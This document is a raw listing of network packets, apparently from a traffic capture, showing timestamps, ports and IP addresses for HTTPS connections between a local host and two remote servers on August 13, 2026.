Aug 13, 2026 15:55:21.247178078 CEST	443	49163	104.26.12.205	192.168.0.58
Aug 13, 2026 15:55:21.247195959 CEST	443	49163	104.26.12.205	192.168.0.58
Aug 13, 2026 15:55:21.247210979 CEST	49163	443	192.168.0.58	104.26.12.205
Aug 13, 2026 15:55:21.247226000 CEST	443	49163	104.26.12.205	192.168.0.58
Aug 13, 2026 15:55:21.248060942 CEST	443	49163	104.26.12.205	192.168.0.58
Aug 13, 2026 15:55:21.248218060 CEST	49163	443	192.168.0.58	104.26.12.205
Aug 13, 2026 15:55:21.248413086 CEST	49163	443	192.168.0.58	104.26.12.205
Aug 13, 2026 15:55:21.293390036 CEST	443	49163	104.26.12.205	192.168.0.58
Aug 13, 2026 15:55:21.364552975 CEST	443	49163	104.26.12.205	192.168.0.58
Aug 13, 2026 15:55:21.364820004 CEST	49163	443	192.168.0.58	104.26.12.205
Aug 13, 2026 15:55:21.364922047 CEST	443	49163	104.26.12.205	192.168.0.58
Aug 13, 2026 15:55:21.365175009 CEST	49163	443	192.168.0.58	104.26.12.205
Aug 13, 2026 15:55:21.365427971 CEST	49163	443	192.168.0.58	104.26.12.205
Aug 13, 2026 15:55:21.365758896 CEST	443	49163	104.26.12.205	192.168.0.58
Aug 13, 2026 15:55:21.366004944 CEST	49163	443	192.168.0.58	104.26.12.205
Aug 13, 2026 15:55:23.035849094 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.035891056 CEST	443	49164	138.124.70.84	192.168.0.58
Aug 13, 2026 15:55:23.036165953 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.036267996 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.036277056 CEST	443	49164	138.124.70.84	192.168.0.58
Aug 13, 2026 15:55:23.100824118 CEST	443	49164	138.124.70.84	192.168.0.58
Aug 13, 2026 15:55:23.101207972 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.107264042 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.107264042 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.107281923 CEST	443	49164	138.124.70.84	192.168.0.58
Aug 13, 2026 15:55:23.107291937 CEST	443	49164	138.124.70.84	192.168.0.58
Aug 13, 2026 15:55:23.107353926 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.107359886 CEST	443	49164	138.124.70.84	192.168.0.58
Aug 13, 2026 15:55:23.107927084 CEST	443	49164	138.124.70.84	192.168.0.58
Aug 13, 2026 15:55:23.108083010 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.109642982 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.109659910 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.109674931 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.109688997 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.109699011 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.109711885 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.109730005 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.109736919 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.109752893 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.109774113 CEST	443	49164	138.124.70.84	192.168.0.58
Aug 13, 2026 15:55:23.110075951 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.110089064 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.110095978 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.110111952 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.110125065 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.110133886 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.110145092 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.110157967 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.110171080 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.110184908 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.110198021 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.110204935 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.110219955 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.110233068 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.110248089 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.110255003 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.110274076 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.110281944 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.110296965 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.110310078 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.110316992 CEST	443	49164	138.124.70.84	192.168.0.58
Aug 13, 2026 15:55:23.110327005 CEST	443	49164	138.124.70.84	192.168.0.58
Aug 13, 2026 15:55:23.110596895 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.110605955 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.110613108 CEST	443	49164	138.124.70.84	192.168.0.58
Aug 13, 2026 15:55:23.110625029 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.110632896 CEST	443	49164	138.124.70.84	192.168.0.58
Aug 13, 2026 15:55:23.110641003 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.110650063 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.110655069 CEST	443	49164	138.124.70.84	192.168.0.58
Aug 13, 2026 15:55:23.110663891 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.110680103 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.110687971 CEST	443	49164	138.124.70.84	192.168.0.58
Aug 13, 2026 15:55:23.110694885 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.110702991 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.110707998 CEST	443	49164	138.124.70.84	192.168.0.58
Aug 13, 2026 15:55:23.110717058 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.110733986 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.110742092 CEST	443	49164	138.124.70.84	192.168.0.58
Aug 13, 2026 15:55:23.110749960 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.110759974 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.110765934 CEST	443	49164	138.124.70.84	192.168.0.58
Aug 13, 2026 15:55:23.110785961 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.110795021 CEST	443	49164	138.124.70.84	192.168.0.58
Aug 13, 2026 15:55:23.110801935 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.110810041 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.110816002 CEST	443	49164	138.124.70.84	192.168.0.58
Aug 13, 2026 15:55:23.110825062 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.110832930 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.110840082 CEST	443	49164	138.124.70.84	192.168.0.58
Aug 13, 2026 15:55:23.110847950 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.110862970 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.110871077 CEST	443	49164	138.124.70.84	192.168.0.58
Aug 13, 2026 15:55:23.110878944 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.110886097 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.110893011 CEST	443	49164	138.124.70.84	192.168.0.58
Aug 13, 2026 15:55:23.110928059 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.110939980 CEST	443	49164	138.124.70.84	192.168.0.58
Aug 13, 2026 15:55:23.110953093 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.110963106 CEST	443	49164	138.124.70.84	192.168.0.58
Aug 13, 2026 15:55:23.110971928 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.110997915 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.111006021 CEST	443	49164	138.124.70.84	192.168.0.58
Aug 13, 2026 15:55:23.111015081 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.111032009 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.111049891 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.111052036 CEST	443	49164	138.124.70.84	192.168.0.58
Aug 13, 2026 15:55:23.111063004 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.111069918 CEST	443	49164	138.124.70.84	192.168.0.58
Aug 13, 2026 15:55:23.111078978 CEST	443	49164	138.124.70.84	192.168.0.58
Aug 13, 2026 15:55:23.111085892 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.111097097 CEST	443	49164	138.124.70.84	192.168.0.58
Aug 13, 2026 15:55:23.111108065 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.111114025 CEST	443	49164	138.124.70.84	192.168.0.58
Aug 13, 2026 15:55:23.111124039 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.111154079 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.111160040 CEST	443	49164	138.124.70.84	192.168.0.58
Aug 13, 2026 15:55:23.111167908 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.111186981 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.111192942 CEST	443	49164	138.124.70.84	192.168.0.58
Aug 13, 2026 15:55:23.111202002 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.111217976 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.111224890 CEST	443	49164	138.124.70.84	192.168.0.58
Aug 13, 2026 15:55:23.111232996 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.111246109 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.111252069 CEST	443	49164	138.124.70.84	192.168.0.58
Aug 13, 2026 15:55:23.111259937 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.111278057 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.111285925 CEST	443	49164	138.124.70.84	192.168.0.58
Aug 13, 2026 15:55:23.111293077 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.111305952 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.111311913 CEST	443	49164	138.124.70.84	192.168.0.58
Aug 13, 2026 15:55:23.111320019 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.111335993 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.111341953 CEST	443	49164	138.124.70.84	192.168.0.58
Aug 13, 2026 15:55:23.111354113 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.111360073 CEST	443	49164	138.124.70.84	192.168.0.58
Aug 13, 2026 15:55:23.111368895 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.111380100 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.111385107 CEST	443	49164	138.124.70.84	192.168.0.58
Aug 13, 2026 15:55:23.111393929 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.111411095 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.111416101 CEST	443	49164	138.124.70.84	192.168.0.58
Aug 13, 2026 15:55:23.111424923 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.111430883 CEST	443	49164	138.124.70.84	192.168.0.58
Aug 13, 2026 15:55:23.111440897 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.111455917 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.111463070 CEST	443	49164	138.124.70.84	192.168.0.58
Aug 13, 2026 15:55:23.111474037 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.111490011 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.111499071 CEST	443	49164	138.124.70.84	192.168.0.58
Aug 13, 2026 15:55:23.111505985 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.111514091 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.111520052 CEST	443	49164	138.124.70.84	192.168.0.58
Aug 13, 2026 15:55:23.111527920 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.111545086 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.111552000 CEST	443	49164	138.124.70.84	192.168.0.58
Aug 13, 2026 15:55:23.111563921 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.111572981 CEST	443	49164	138.124.70.84	192.168.0.58
Aug 13, 2026 15:55:23.111579895 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.111589909 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.111596107 CEST	443	49164	138.124.70.84	192.168.0.58
Aug 13, 2026 15:55:23.111603975 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.111622095 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.111628056 CEST	443	49164	138.124.70.84	192.168.0.58
Aug 13, 2026 15:55:23.111637115 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.111651897 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.111660957 CEST	443	49164	138.124.70.84	192.168.0.58
Aug 13, 2026 15:55:23.111668110 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.111679077 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.111685038 CEST	443	49164	138.124.70.84	192.168.0.58
Aug 13, 2026 15:55:23.111694098 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.111701965 CEST	443	49164	138.124.70.84	192.168.0.58
Aug 13, 2026 15:55:23.111710072 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.111726046 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.111738920 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.111752987 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.111773968 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.111782074 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.111798048 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.111814022 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.111828089 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.111845970 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.111857891 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.111875057 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.111887932 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.111905098 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.111917973 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.111933947 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.111948013 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.111963034 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.111983061 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.111991882 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.112008095 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.112024069 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.112037897 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.112055063 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.112071037 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.112082958 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.112097979 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.112114906 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.112128019 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.112134933 CEST	443	49164	138.124.70.84	192.168.0.58
Aug 13, 2026 15:55:23.112143993 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.112149954 CEST	443	49164	138.124.70.84	192.168.0.58
Aug 13, 2026 15:55:23.112160921 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.112169027 CEST	443	49164	138.124.70.84	192.168.0.58
Aug 13, 2026 15:55:23.112179041 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.112207890 CEST	443	49164	138.124.70.84	192.168.0.58
Aug 13, 2026 15:55:23.112222910 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.112227917 CEST	443	49164	138.124.70.84	192.168.0.58
Aug 13, 2026 15:55:23.112236023 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.112253904 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.112261057 CEST	443	49164	138.124.70.84	192.168.0.58
Aug 13, 2026 15:55:23.112270117 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.112278938 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.112284899 CEST	443	49164	138.124.70.84	192.168.0.58
Aug 13, 2026 15:55:23.112296104 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.112310886 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.112315893 CEST	443	49164	138.124.70.84	192.168.0.58
Aug 13, 2026 15:55:23.112325907 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.112332106 CEST	443	49164	138.124.70.84	192.168.0.58
Aug 13, 2026 15:55:23.112350941 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.112358093 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.112363100 CEST	443	49164	138.124.70.84	192.168.0.58
Aug 13, 2026 15:55:23.112371922 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.112390041 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.112397909 CEST	443	49164	138.124.70.84	192.168.0.58
Aug 13, 2026 15:55:23.112409115 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.112417936 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.112422943 CEST	443	49164	138.124.70.84	192.168.0.58
Aug 13, 2026 15:55:23.112431049 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.112447023 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.112452984 CEST	443	49164	138.124.70.84	192.168.0.58
Aug 13, 2026 15:55:23.112462997 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.112469912 CEST	443	49164	138.124.70.84	192.168.0.58
Aug 13, 2026 15:55:23.112478971 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.112488985 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.112494946 CEST	443	49164	138.124.70.84	192.168.0.58
Aug 13, 2026 15:55:23.112504959 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.112519979 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.112526894 CEST	443	49164	138.124.70.84	192.168.0.58
Aug 13, 2026 15:55:23.112535954 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.112543106 CEST	443	49164	138.124.70.84	192.168.0.58
Aug 13, 2026 15:55:23.112551928 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.112567902 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.112574100 CEST	443	49164	138.124.70.84	192.168.0.58
Aug 13, 2026 15:55:23.112581968 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.112598896 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.112607002 CEST	443	49164	138.124.70.84	192.168.0.58
Aug 13, 2026 15:55:23.112617970 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.112626076 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.112631083 CEST	443	49164	138.124.70.84	192.168.0.58
Aug 13, 2026 15:55:23.112639904 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.112656116 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.112662077 CEST	443	49164	138.124.70.84	192.168.0.58
Aug 13, 2026 15:55:23.112672091 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.112679005 CEST	443	49164	138.124.70.84	192.168.0.58
Aug 13, 2026 15:55:23.112687111 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.112701893 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.112708092 CEST	443	49164	138.124.70.84	192.168.0.58
Aug 13, 2026 15:55:23.112715960 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.112732887 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.112740993 CEST	443	49164	138.124.70.84	192.168.0.58
Aug 13, 2026 15:55:23.112749100 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.112756968 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.112763882 CEST	443	49164	138.124.70.84	192.168.0.58
Aug 13, 2026 15:55:23.112773895 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.112792015 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.112797976 CEST	443	49164	138.124.70.84	192.168.0.58
Aug 13, 2026 15:55:23.112807035 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.112824917 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.112833023 CEST	443	49164	138.124.70.84	192.168.0.58
Aug 13, 2026 15:55:23.112839937 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.112850904 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.112855911 CEST	443	49164	138.124.70.84	192.168.0.58
Aug 13, 2026 15:55:23.112864971 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.112883091 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.112889051 CEST	443	49164	138.124.70.84	192.168.0.58
Aug 13, 2026 15:55:23.112898111 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.112910986 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.112915993 CEST	443	49164	138.124.70.84	192.168.0.58
Aug 13, 2026 15:55:23.112925053 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.112942934 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.112948895 CEST	443	49164	138.124.70.84	192.168.0.58
Aug 13, 2026 15:55:23.112957954 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.112971067 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.112976074 CEST	443	49164	138.124.70.84	192.168.0.58
Aug 13, 2026 15:55:23.112983942 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.113002062 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.113008022 CEST	443	49164	138.124.70.84	192.168.0.58
Aug 13, 2026 15:55:23.113017082 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.113034964 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.113042116 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.113059998 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.113073111 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.113090992 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.113102913 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.113117933 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.113132954 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.113148928 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.113169909 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.113178015 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.113193989 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.113208055 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.113225937 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.113241911 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.113253117 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.113267899 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.113282919 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.113301039 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.113315105 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.113328934 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.113343000 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.113358974 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.113375902 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.113388062 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.113404036 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.113419056 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.113435984 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.113451958 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.113461971 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.113480091 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.113493919 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.113509893 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.113523960 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.113538980 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.113554001 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.113569975 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.113583088 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.113599062 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.113612890 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.113629103 CEST	49164	443	192.168.0.58	138.124.70.84
